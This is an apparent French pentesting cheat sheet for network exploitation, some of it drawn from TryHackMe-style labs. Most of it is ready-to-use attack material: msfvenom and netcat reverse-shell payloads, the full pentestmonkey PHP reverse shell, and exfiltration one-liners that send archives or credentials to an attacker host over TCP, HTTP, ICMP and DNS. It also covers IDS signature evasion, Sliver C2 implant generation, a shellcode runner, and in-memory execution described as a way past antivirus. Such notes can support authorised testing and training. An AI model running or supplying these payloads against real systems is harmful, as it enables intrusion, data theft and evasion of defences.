Réseau

[Exploitation/Réseau] Metasploit

Introduction

Metasploit est un framework complet pour les pentester. Il est très célèbre et réputé pour sa facilité d'utilisation.

image.png

Reverse shell Meterpreter

Payload Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> --format=exe > payload.exe

Payload Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > payload.elf

Listener

Après avoir généré le payload, vous devez lancer la console metasploit pour lancer le serveur d'écoute :

msfconsole

Une fois dans la console, il faut indiquer à metasploit que l'on souhaite se rendre dans la catégorie des listener :

use multi/handler

Ensuite, il faut définir le type de payload utilisé :

set payload <PAYLOAD>

Définir l'adresse IP d'écoute :

set LHOST <IP>

Définir le port d'écoute :

set LPORT <PORT>

Démarrer le serveur d'écoute :

run

[Exploitation/Réseau] Exploit-DB & Searchsploit

Introduction

La base Exploit-DB recense l'ensemble des CVE connues et dont au moins un exploit est disponible.

L'outil searchsploit quant à lui s'utilise en ligne de commande et permet de trouver les vulnérabilités disponibles pour une application donnée et pour une version donnée de cette application si elle est composée.

image.png

Exploit-DB

Une barre de recherche est disponible pour taper le numéro de la CVE que vous souhaitez rechercher :

image.png

Si on prend l'exemple de la vulnérabilité Eternal Blue sortie en 2017, ayant pour nom CVE-2017-0144, on peut chercher 2017-0144 dans la barre de recherche pour trouver les exploits disponibles :

image.png

Searchsploit

Pour chercher les vulnérabilités disponibles pour une application on peut utiliser cette commande :

searchsploit <APP> [VERSION]

Pour afficher le descriptif d'un exploit :

searchsploit -m <EXPLOIT_PATH>

[Exploitation/Réseau] Netcat

Introduction

Netcat est un outil en ligne de commande qui permet de travailler sur des connexions réseaux TCP et UDP.

Il peut être utile pour diagnostiquer ou se connecter à des applications rustiques utilisant des sockets traditionnels.

image.png

Manuel

Connexion TCP

nc <IP> <PORT>

Connexion UDP

nc -u <IP> <PORT>

Listener TCP

nc -lvp <PORT>

Listener UDP

nc -luvp <PORT>

Payload reverse shell

nc <IP> <PORT> –e /bin/bash
nc <IP> <PORT> –e cmd.exe

Stabiliser votre shell

Afin de stabiliser votre shell et le rendre un peu plus ergonomique, notamment en affichant un plus beau prompt, vous pouvez utiliser la commande suivante pour faire spawn un PTY :

python -c 'import pty; pty.spawn("/bin/sh")'

Cheat-sheet

image.png

[Exploitation/Réseau] Pwncat

Introduction

Cet outil vise à fournir la même fonction que netcat avec des fonctions supplémentaires très pratiques lors de vos tests d'intrusion.

image.png

Installation

Voici la commande pour installer pwncat dans un environnement virtuel :

python3 -m venv /opt/pwncat && /opt/pwncat/bin/pip install pwncat-cs && ln -s /opt/pwncat/bin/pwncat-cs /usr/local/bin

Manuel

Documentation officielle

Lancer un listener

pwncat-cs -lp <PORT>
pwncat-cs
listen -m linux <PORT>

Sélection d'une session

Depuis le mode interractif :

sessions <NUMBER>

Passer du mode local à remote

Une fois votre connexion établie, vous pourrez basculer du mode local (shell local de votre machine) au mode remote (shell distant de la machine compromise).

Pour basculer d'un mode à l'autre il vous suffit d'utiliser la combinaison CTRL+D.

Upload

Plus besoin de bricoler pour transférer des fichiers de votre machine vers la machine distante, vous pouvez utiliser la commande upload depuis le mode local pour téléverser un fichier dans le répertoire courant de la session distante:

upload <FILE>

Download

De la même manière vous pouvez récupérer des fichiers distants sur votre machine locale (cela peut être utile pour les analyser) :

download <FILE>

[Exploitation/Réseau] ICMP Reverse shell

Introduction

Parfois, les pare-feux bloquent les connexions TCP et UDP mais oublient de bloquer le trafic ICMP.

Cependant, cette ouverture peut être exploitée pour ouvrir un reverse shell sur la machine victime et ainsi, contourner le pare-feu.

image.png

Exploitation

Python

Pour la démonstration nous allons utiliser le projet icmpdoor :

L'exploitation nécessite les droits root sur la machine victime puisque le payload utilise Scapy et exploite le driver de la carte réseau.

Sur la machine de l'attaquant, lancer la commande suivante :

sudo python3 icmp-cnc.py -i <IFACE> -d <VICTIM-IP>

Ensuite, trouver un moyen pour dropper le script icmpdoor.py sur la machine victime et lancer la commande suivante :

sudo python3 icmpdoor.py -i <IFACE> -d <ATTACKER-IP>

C (binaires)

Si python n'est pas présent sur la machine victime, vous allez devoir utiliser un autre projet :

Après avoir cloner le dépôt sur la machine de l'attaquant, compilez les binaires server et client :

gcc server.c -o server -pthread
gcc client.c -o client -pthread

Lancer le serveur sur la machine de l'attaquant :

./server <TARGET_IP>

Ensuite, trouver un moyen de transférer le binaire client sur la machine de la victime et exécuter-le :

./client

[Exploitation/Réseau] Data exfiltration

Introduction

Après avoir compromis un système et élevé ses privilèges, un pirate va avoir tendance à exfiltrer des données sensibles.

Cependant, il ne doit pas se faire détecter par les systèmes de sécurité et contourner les potentiels pare-feux.

Techniques

Netcat

Un simple flux TCP peut suffire dans certains cas. Vous pouvez alors lancer un listener sur la machine de l'attaquant :

nc -lvp <PORT> > <OUTPUT>

Et depuis la machine victime :

tar zcf - <DIR> | base64 | dd conv=ebcdic > /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>

Le fichier sera compressé, encodé en base64 et en EBCDIC par DD avant d'être envoyé, ce qui rend le trafic illisible sur le réseau.

Une fois la donnée récupérée, on peut la décoder et la décompressée :

dd conv=ascii if=<FILE> |base64 -d > <ARCHIVE>.tar
tar xvf <ARCHIVE>

SSH (sans SCP)

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

HTTP POST

Monter un serveur web php qui va recevoir les données en base64 et les enregistrer dans un fichier :

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

Depuis la machine victime, on peut maintenant exfiltrer les données de la sorte :

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

À cause de l'encodage URL, les + sont remplacés par des espaces, on peut résoudre le problème :

sudo sed -i 's/ /+/g' /tmp/http.bs64

Puis on peut décoder et extraire le fichier :

cat /tmp/http.bs64 | base64 -d | tar xvfz -

L'avantage par rapport à la méthode GET est que la donnée en base64 ne sera pas enregistrée dans les logs du serveur web.

On peut aussi utiliser un serveur web en HTTPS pour que le trafic soit complètement chiffré. 

ICMP

À travers le champs DATA des paquets ICMP, il est possible d'exfiltrer des données.

Pour cela, on peut se mettre en écoute sur la machine de l'attaquant avec le bon module Metasploit :

msfconsole
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run

Et on peut exfiltrer de la donnée depuis la machine victime grâce à nping :

sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"

Depuis Metasploit, vous devriez avoir reçu la donnée.

DNS

On exfiltrer de la donnée en utilisant le DNS même si pour cela il faut être en possession d'un nom de domaine.

Sur la machine de l'attaquant, écoutez les requêtes DNS :

sudo tcpdump -i eth0 udp port 53 -v

Puis depuis la machine victime, on encode en base64 la chaîne contenue dans le fichier credit.txt, on la découpe en chaînes de 18 caractères (63 max) et on ajuste en retirant les "." puis on effectue les requêtes :

cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash

On peut décoder la chaîne une fois reçue sur le poste de l'attaquant :

echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d

Sur le même principe, on peut créer une entrée TXT sur le serveur DNS afin de stcoker des scripts encodés en base64 :

dig +short -t TXT flag.tunnel.com
> "YmFzaCAtYyAvdXNyL2xvY2FsL3NiaW4vZmxhZy5zaAo="

On peut le récupérer et l'exécuter :

dig +short -t TXT flag.tunnel.com | tr -d "\"" | base64 -d | bash

[Exploitation/Réseau] IDS/IPS Evasion

Introduction

Cette page décrit des solutions pour contourner des solutions IDS/IPS telles que Snort ou autre.

Manuel

Reverse shell avec certificat SSL

Socat permet l'utilisation de certificat SSL pour chiffrer une connexion. Il va donc nous permettre d'établir un tunnel sécurisé pour exécuter nos commandes à distance.

Tout d'abord, générer un certificat sur la machine de l'attaquant :

openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem

Puis lancez le listener :

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

Et sur la machine de la victime, lancez ce payload :

socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash

Votre reverse shell sécurisé est ouvert !

Changement de la donnée brute

Imaginons une règle qui se base sur une chaîne de caractère pour détecter l'utilisation de netcat, on pourrait très facilement la contourner en modifiant la commande.

Admettons un règle qui détecte la présence de cette chaîne :

nc -lvp

On pourrait changer l'ordre des flags :

nc -pvl

Ou ajouter des espaces :

nc  -lvp

Ou on peut changer la commande :

ncat -lvp

[Exploitation/Réseau] Reverse shell

Introduction

Le reverse shell est un type de payload qui permet à l'attaquant d'établir une connexion dans le sens inverse d'un bind shell et qui vous permet d'exécuter des commandes à distance.  

image.png

Revshell.com

Ce site permet de générer des reverse shells dans divers langages en spécifiant votre adresse IP et le port que vous voulez utiliser :

InternalAllTheThings

Voici une page de ce site qui réferencie des reverses shell très variés :

Payload vérifiés

Bash

sh -i >& /dev/tcp/<IP>/<PORT> 0>&1

Python-3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Netcat

nc -e /bin/bash <IP> <PORT>

Netcat + certificat SSL (chiffrement)

Côté attaquant, générer le certificat :

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Puis lancez Netcat depuis la machine attaquante pour vous mettre en écoute en utilisant le certificat :

nc --ssl -lvp <PORT>

Puis sur la victime :

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s

Pentest Monkey

Ce reverse shell php est connu et fonctionnel pour vos tests d'intrusion, il vous suffit de modifier l'IP et le port :

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

[Exploitation/Réseau] Sliver C2

Introduction

Sliver C2 est un framework de commande et contrôle qui ressemble un peu à Metasploit.

Il présente des fonctionnalités interéssantes d'obfuscation et des modules permettant de faire de la post-exploitation.

Fonctionnant en mode client-serveur, vous pouvez démarrer un serveur sur un VPS accessible depuis Internet et utiliser le client pour vous connecter sur votre compte d'opérateur, ce qui permet de travailler en équipe.

Vous pouvez aussi travailler directement sur le serveur si vous le souhaitez, ce qui est l'option la plus simple selon moi.

image.png

Source

Installation

Linux

Vous pouvez installer Sliver simplement avec la commande suivante pour la plupart des distributions Linux :

curl https://sliver.sh/install | sudo bash

Compiler depuis les sources

Cependant, vous aurez peut-être besoin de compiler vous même, notamment si vous travailler dans des environnement spécifiques tels que Exegol :

git clone https://github.com/BishopFox/sliver.git && cd sliver && git checkout tags/v1.5.39 && make

Implants

Il existe deux types d'implant (Agent C2) dans Sliver :

Générer un implant de session mtls

generate <TYPE> <LHOST>:<LPORT> --save <FILE_NAME>.exe

Générer un implant de session wireguard

generate -g <LHOST>:<LPORT> --save <FILE_NAME>.exe

Générer un implant de beacon

generate beacon <TYPE> <LHOST>:<LPORT> --save <FILE_NAME>.exe --seconds <TIME> --jitter <TIME>

Après le flag --seconds vous devez indiquer le délai entre chaque reconnexion.

Après le flag --jitter vous devez renseigner un délai de temps aléatoire. Par exemple, si le flag --seconds est définit à 3 et que le flag --jitter est définit à 1, une reconnexion sera effectuée de manière aléatoire toutes les 3 ou 4 secondes.

Types d'implants

Types
 Descriptions
--mtls
 Utilise une connexion chiffrée de type mTLS.
-g
 Utilise une connexion Wireguard.
--http
 Utilise une connexion HTTP.
--https
 Utilise une connexion HTTPS.
--dns
 Utilise une connexion DNS.

Convertir un beacon en session

interactive

Listeners

Lancer un listener mTLS

mtls -l <LPORT>

Le port par défaut de mTLS est le 8888.

Lancer un listener Wireguard

wg -l <LPORT>

Le port par défaut du listener Wireguard est le 53.

Lancer un listener HTTP

http -l <LPORT>

Le port par défaut du listener HTTP est le 80.

Lancer un listener HTTPS

https -l <LPORT>

Le port par défaut du listener HTTPS est le 443.

Lancer un listener DNS

dns -d <FQDN>

Le port par défaut du listener DNS est le 53.

Le champs <FQDN> doit être remplacé par le nom de domaine qui pointe sur votre serveur C2.

Afficher les sessions actives

sessions

Terminer une session

sessions -k <ID>

Afficher les beacons actifs

beacons

Se connecter à une session ou un beacon

Après avoir récupéré l'ID de l'implant, vous pouvez vous connecter dessus pour effectuer des actions :

use <ID>

Profiles

Sliver propose de créer des profiles pour sauvegarder une configuration d'implant que vous pourrez utiliser par la suite.

Créer un profil

profiles new --mtls <LHOST>:<LPORT> --os windows --arch amd64 --format exe <NAME>

Vous pouvez bien sûr, changer le type d'implant, l'OS cible, l'architecture etc.

Vous pouvez aussi créer un profil de beacon :

profiles new beacon --mtls <LHOST>:<LPORT> --os windows --arch amd64 --format exe --seconds 5 --jitter 3 <NAME>

Afficher les profiles / implants

implants

Stagers

Les stagers sont des implants légers qui permettent d'injecter des shellcodes.

Génération du profil

profiles new <TYPE> <LHOST>:<LPORT> --format shellcode --arch amd64 win64

Lancement du listener

mtls

Lancement du stager-listener

stage-listener --url tcp://<IP>:<PORT> --profile win64

Génération du stager

generate stager --lhost <LHOST> --lport <LPORT> --arch amd64 --format c --save <PATH>

Création du runner

Le runner va être le code capable de lancer le shellcode généré précédemment.

#include "windows.h"

int main()
{
    unsigned char shellcode[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    ...
    "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
    "\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
    "\xd5";


    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
}

Vous pouvez créer un runner un peu plus complexe pour faire de l'évasion AV/EDR en utilisant diverses techniques.

Vous pouvez le compiler :

x86_64-w64-mingw32-gcc -o runner.exe runner.c

Custom stager

Vous pouvez créer vos propres stagers, from-scratch, pour faire de l'évasion AV/EDR ou simplement pour le fun.

La documentation de Sliver donne des pistes pour vous lancer dans cette aventure :

Post-exploitation

Execute-assembly

Cette fonctionnalité permet d'exécuter des applications .NET au format .exe ou .dll directement en mémoire sans jamais écrire de fichier sur le disque.

Cela peut-être utile pour contourner la protection antivirus ou pour vous camoufler.

De cette manière vous pourriez exécuter des programmes comme mimikatz ou autre sur la machine victime en passant inaperçu.

Tout d'abord, assurez-vous d'avoir un implant fonctionnel et lancez la commande suivante :

execute-assembly --ppid <PID> --process calc.exe --loot --name <NAME> <PATH_TO_EXE_OR_DLL> -group=All

Le champs <PID> doit être remplacé par le process ID d'un processus légitime en cours d'exécution.

Vous pouvez utiliser la commande ps pour récupérer la liste des processus avec leur PID.

Ici, le processus sacrifié sera la calculatrice (calc.exe) et son processus parent sera celui désigné par le PID.

Le fait d'injecter dans un programme existant peut le faire planter, c'est pourquoi il existe une autre méthode décrite après.

L'option --loot permet de sauvegarder la sortie standard du programme en base de donnée sur le serveur afin de pouvoir l'afficher plus tard grâce à la commande suivante :

loot fetch

Le nom du loot à sélectionner vous sera demandé. Vous pouvez le récupérer grâce à la commande loot.

Vous pouvez aussi choisir de ne pas sacrifier un processus grâce à l'option --in-process :

execute-assembly --in-process --loot --name <NAME> <PATH_TO_EXE_OR_DLL> -group=user

Vous pouvez retrouver plus d'informations sur la fonctionnalité execute-assembly :

Sideload

Cette fonctionnalité est très proche de la précédente mais permet d'exécuter à peu près n'importe quel type d'exécutable (PE) ou DLL.

Tout d'abord, assurez vous d'avoir un implant fonctionnel et lancez cette commande :

sideload <PATH_TO_EXE> [ARG1] [ARG2]

SpawnDLL

Cette fonctionnalité, similaire aux deux précédentes, permet d'injecter des DLL réflectives.

Elle est très puissante si l'application que vous voulez lancer est disponible dans ce format.

Voici la syntaxe :

spawndll <FILE>.dll

Vous pouvez aussi injecter la dll dans un processus sacrifié grâce à l'option --process <PID> ou alors vous pouvez carrément spoofer le processus parent avec l'option --ppid <PID>.

Voici une liste d'outils au format reflective DLL que vous pouvez utiliser :

Extensions et aliases

Sliver propose des extensions pour ses modules ce qui permet d'étendre ses fonctionnalités.

SliverKeylogger

Armory

Il s'agit du gestionnaire d'extension et d'alias de Sliver. Il permet d'en installer de manière automatisée :

armory install <PKG>

Vous pouvez chercher une extension pour voir si elle est disponible :

armory search <PKG>

Vous pouvez retrouver la liste des extensions et alias disponibles sur ce repos Github :

Créer vos propres alias

[Exploitation/Réseau] Transfert de fichiers

Introduction

Cette documentation présente plusieurs solution pour envoyer des fichiers sur un serveur compromis que ce soit Linux ou Windows via différents protocoles comme HTTP, SSH, FTP et SMB.

Techniques

updog / SimpleHTTPServer

python3 -m updog -p 80
python3 -m http.server 80
powershell wget http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>

Sous Linux vous pouvez utiliser la même commande sans powershell si le paquet wget est installé.

curl http://<ATTACKER_IP>/<FILE> -o <OUTPUT_FILE>

Fonctionne aussi bien sur Windows que sur Linux !

Impacket SMB Server

impacket-smbserver share $(pwd) -smb2support
copy \\<ATTACKER_IP>\share\<FILE>
smbclient -L <ATTACKER_IP>
smbclient "\\\\<ATTACKER_IP>\share"
ls
get <FILE>
put <SOME_FILE>

SCP

scp <FILE> <user>@<IP>:/tmp
scp <user>@<IP>:/<PATH>/<TO>/<FILE> <FILE>

TFTP

use auxiliary/server/tftp
set srvhost <ATTACKER_IP>
set tftproot <PATH>
run
tftp -i <ATTACKER_IP> GET <FILE>

Netcat

Depuis la machine qui doit recevoir le fichier :

nc -lvp <PORT> > <FILE>

Depuis la machine qui doit envoyerle fichier :

nc <ATTACKER_IP> <PORT> < <FILE>